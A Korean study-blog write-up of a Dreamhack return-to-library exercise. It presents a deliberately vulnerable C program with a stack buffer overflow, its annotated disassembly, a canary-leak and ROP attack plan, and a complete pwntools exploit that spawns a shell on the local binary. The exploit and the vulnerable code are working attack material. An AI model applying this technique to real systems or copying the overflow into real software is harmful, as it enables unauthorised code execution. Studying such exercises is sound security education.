본문 바로가기

Dreamhack/Lecture & Practice

[Practice] Return to Library

1. 실습 코드 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Add system function to plt's entry
  system("echo 'system@plt'");
  
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

2. 코드 분석

  • 실행파일을 디컴파일하여 분석해보면, 아래와 같은 스택이 존재하는 것을 알 수 있다.

          +-----------------------+--[EBP-0X40]
           |                               |

          +-----------------------+
           |                               |

          +-----------------------+
           |                               |

          +-----------------------+
           |                               |

          +-----------------------+
           |                               |

          +-----------------------+
           |                               |

          +-----------------------+
           |                               |

          +-----------------------+
           |          Canary         |

          +-----------------------+ <- EBP
           |            RBP            |

          +-----------------------+
           |            RET            |

          +-----------------------+

 

  • 분석한 코드는 아래와 같으며, 간단히 주석 처리하며 분석한 것이다.
(gdb) disas main
Dump of assembler code for function main:

   0x00000000004011d6 <+0>:     endbr64
   0x00000000004011da <+4>:     push   rbp
   0x00000000004011db <+5>:     mov    rbp,rsp
   0x00000000004011de <+8>:     sub    rsp,0x40

   /* ==== [ Canary ] ===== */
   0x00000000004011e2 <+12>:    mov    rax,QWORD PTR fs:0x28 
   0x00000000004011eb <+21>:    mov    QWORD PTR [rbp-0x8],rax

   // setvbuf(stdin, 0, _IONBF, 0);
   0x00000000004011ef <+25>:    xor    eax,eax
   0x00000000004011f1 <+27>:    mov    rax,QWORD PTR [rip+0x2e78]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x00000000004011f8 <+34>:    mov    ecx,0x0
   0x00000000004011fd <+39>:    mov    edx,0x2
   0x0000000000401202 <+44>:    mov    esi,0x0
   0x0000000000401207 <+49>:    mov    rdi,rax
   0x000000000040120a <+52>:    call   0x4010e0 <setvbuf@plt>

   // setvbuf(stdout, 0, _IONBF, 0);
   0x000000000040120f <+57>:    mov    rax,QWORD PTR [rip+0x2e4a]        # 0x404060 <stdout@@GLIBC_2.2.5>
   0x0000000000401216 <+64>:    mov    ecx,0x0
   0x000000000040121b <+69>:    mov    edx,0x2
   0x0000000000401220 <+74>:    mov    esi,0x0
   0x0000000000401225 <+79>:    mov    rdi,rax
   0x0000000000401228 <+82>:    call   0x4010e0 <setvbuf@plt>

   // system("echo 'system@plt'")
   0x000000000040122d <+87>:    mov    edi,0x40200c //0x40200c: "echo 'system@plt'"
   0x0000000000401232 <+92>:    mov    eax,0x0
   0x0000000000401237 <+97>:    call   0x4010b0 <system@plt>

   // puts("[1] Leak Canary")
   0x000000000040123c <+102>:   mov    edi,0x40201e //0x40201e: "[1] Leak Canary"
   0x0000000000401241 <+107>:   call   0x401090 <puts@plt>

   // printf("Buf: ")
   0x0000000000401246 <+112>:   mov    edi,0x40202e //0x40202e: "Buf: "
   0x000000000040124b <+117>:   mov    eax,0x0
   0x0000000000401250 <+122>:   call   0x4010c0 <printf@plt>

   // read(0, rbp-0x40, 0x100)
   0x0000000000401255 <+127>:   lea    rax,[rbp-0x40]
   0x0000000000401259 <+131>:   mov    edx,0x100
   0x000000000040125e <+136>:   mov    rsi,rax
   0x0000000000401261 <+139>:   mov    edi,0x0
   0x0000000000401266 <+144>:   call   0x4010d0 <read@plt>

   // printf("Buf: %s\n")
   0x000000000040126b <+149>:   lea    rax,[rbp-0x40]
   0x000000000040126f <+153>:   mov    rsi,rax
   0x0000000000401272 <+156>:   mov    edi,0x402034 //0x402034: "Buf: %s\n"
   0x0000000000401277 <+161>:   mov    eax,0x0
   0x000000000040127c <+166>:   call   0x4010c0 <printf@plt>

   // printf("[2] Overwrite return address\n");
   0x0000000000401281 <+171>:   mov    edi,0x40203d  //0x40203d: "[2] Overwrite return address"
   0x0000000000401286 <+176>:   call   0x401090 <puts@plt>

   //  printf("Buf: ");
   0x000000000040128b <+181>:   mov    edi,0x40202e //0x40202e:       "Buf: "
   0x0000000000401290 <+186>:   mov    eax,0x0
   0x0000000000401295 <+191>:   call   0x4010c0 <printf@plt>

   // read(0, buf, 0x100);
   0x000000000040129a <+196>:   lea    rax,[rbp-0x40]
   0x000000000040129e <+200>:   mov    edx,0x100
   0x00000000004012a3 <+205>:   mov    rsi,rax
   0x00000000004012a6 <+208>:   mov    edi,0x0
   0x00000000004012ab <+213>:   call   0x4010d0 <read@plt>

   /* ==== [ Canary Check ] ===== */   
   0x00000000004012b0 <+218>:   mov    eax,0x0
   0x00000000004012b5 <+223>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004012b9 <+227>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004012c2 <+236>:   je     0x4012c9 <main+243>
   0x00000000004012c4 <+238>:   call   0x4010a0 <__stack_chk_fail@plt>

   0x00000000004012c9 <+243>:   leave
   0x00000000004012ca <+244>:   ret

End of assembler dump.

3. 공격 시나리오

① checksec을 통해, 보호기법을 파악한다.

  • canary 존재하고 NX가 적용된 것을 볼 수 있으며, PIE가 적용되지 않은 것을 확인할 수 있다.
  • 기본적으로 적용되는 ASLR이 적용되어도, PIE가 적용되지 않으면 "코드 세그먼트"와 "데이터 세그먼트"의 주소는 고정된다.

 

② 보호기법을 우회하여, 아래와 같은 시나리오를 만들 수 있다.

  • 첫 번째 입력값에서 bof취약점이 존재하여, 카나리를 추출해 낼 수 있다.
  • 두 번째 입력값에서 canary를 우회하고, return address를 가젯 주소로 덮어씀으로써 라이브러리 함수를 실행하고 shell을 획득할 수 있다.

③ 시나리오를 스택으로 그려보면, 아래와 같다.

 

          +---------------------------+--[EBP-0X40]
           |                                    |

          +---------------------------+
           |                                    |

          +---------------------------+
           |                                    |

          +---------------------------+
           |                                    |

          +---------------------------+
           |                                    |

          +---------------------------+
           |                                    |

          +---------------------------+
           |                                    |

          +---------------------------+
           |             Canary            |

          +---------------------------+ <- EBP
           |              RBP                |

          +---------------------------+
           |     RET => 가젯주소     |

          +---------------------------+
           |        /bin/sh 주소         |

          +---------------------------+
           |    PLT의 system주소    |
          +---------------------------+

 

 

4. 풀이

해당 풀이는 gdb를 이용한 것이며, pwndbg를 쓰고 싶다면 강의에서 알아보는 것을 추천한다.

 

① 가젯주소 알아낸다.

  • ROPgadget툴을 이용하여, 가젯 주소를 알아내었다.
  • --re옵션을 사용하면, 정규표현식으로 가젯을 필터링할 수 있다.
// ROPgadget 설치 명령어
$ python3 -m pip install ROPgadget --user

// 'rtl'이라는 바이너리에서 'pop rdi'코드가 포함된 gadget을 찾는 명령어
$ ROPgadget --binary ./rtl --re "pop rdi"
  • 해당 실습에서 뽑은 가젯 코드는 아래와 같다.
pop rdi
ret
  • 0x401333이 가젯 주소인 것을 알 수 있다.

 

② /bin/sh주소를 알아낸다.

  • 먼저 gdb를 통해, 맵핑된 메모리 정보를 확인한다.

  • gdb의 find명령어로, rtl 메모리 범위 안에 "/bin/sh"가 존재하는지 검색한다.
(gdb) find [범위: 시작주소], [범위: 끝주소], [찾고자하는 값]
  • "/bin/sh" 주소가 0x402004인 것을 알 수 있다.

③ PLT에 위치한 system주소를 알아낸다.

  • PIE가 적용되지 않아서 PLT에 위치한 고정된 system함수의 주소 값을 알아내어, 라이브러리 함수를 실행할 수 있다.
  • gdb를 통해 PLT에 있는 system함수 주소를 알고 싶으면, 프로그램을 gdb에 연결 후 run 하기 전에 확인해야 한다.
    왜냐하면 프로그램도 run하기 전까지 라이브러리 주소를 모르기 때문에, 고정된 plt주소 값을 반환하기 때문이다.
  • plt에 위치한 system함수의 주소는 0x4010b0인 것을 확인할 수 있다.

5. Exploit

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
  • system함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다.
    이는 system함수 내부에 있는 movaps명령어 때문으로, 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault이 발생한다.
from pwn import *
import binascii

p = process(b"./rtl")

in_v = b"A" * 0x39
print("in_v: ", in_v)

gad = 0x401333
sh  = 0x402004
sys = 0x4010b0
print(f"Gadget: 0x{gad:x}, /bin/sh: 0x{sh:x}, system: 0x{sys:x}") 

p.sendafter(b"Buf: ", in_v)
p.recvuntil(b"Buf: ")
p.recvuntil(b"A" * 0x39)

canary = u64(b'\x00'+p.recvn(7))
print("[+] Canary: ", hex(canary))

in_v2  = b"A" * 0x38
in_v2 += p64(canary)
in_v2 += b"BBBBBBBB"
in_v2 += p64(gad)   # -> pop rdi; ret
in_v2 += p64(sh)    # -> /bin/sh
in_v2 += p64(gad+1) # -> ret;
in_v2 += p64(sys)   # -> system
print(hexdump(in_v2))
p.sendafter(b"Buf: ", in_v2)

p.interactive()
  • shell 얻을 것을 확인하기 위해, flag 파일을 임의로 만들어 주었다.